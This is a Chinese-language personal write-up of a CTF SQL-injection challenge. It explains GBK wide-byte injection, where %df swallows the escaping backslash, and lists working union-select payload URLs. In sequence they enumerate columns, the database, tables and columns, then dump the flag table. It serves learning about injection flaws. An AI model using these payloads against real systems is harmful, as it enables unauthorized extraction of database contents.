记录一次由做题而引发的一次学习记录
这个md的来源是我之前做南邮的一道sql注入题目,我实在是调动目前所学的sql注入知识没做出来,一直搞不懂将 ’ 转义为 ’ ,因此去网上看了一下wp,是考宽字节注入,于是在网上找了教程学习一下,这个文章只是为了记录一下自己的学习过程,不喜勿喷,有错希望指正
宽字节注入成因
宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击 ;
南邮sql injection3 实战
-
id=1’,单引号被转义,判断是宽字节注入。
-
union查询爆字段:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27%20union%20select%201,2--%20%27-
回显正常,判断字段数2。
3.爆数据库:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,group_concat(database())%20%20--%20%27-
获得数据库名:sae-chinalover
4.爆数据库表名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7361652d6368696e616c6f766572%20--%20%27-
获得表名:ctf,ctf2,ctf3,ctf4,news (这里四个表一个个试,发现ctf2是我们需要的)
5.爆数据列:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x63746632--%20%27-
获得列名:id,content
- 爆数据:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%20id,content%20from%20ctf2--+-
完工,获得flag,但是好像平台出现了问题 ,flag不对,不知道什么原因。
END
仅仅是个人记录学习的一个过程,不做任何技术发表。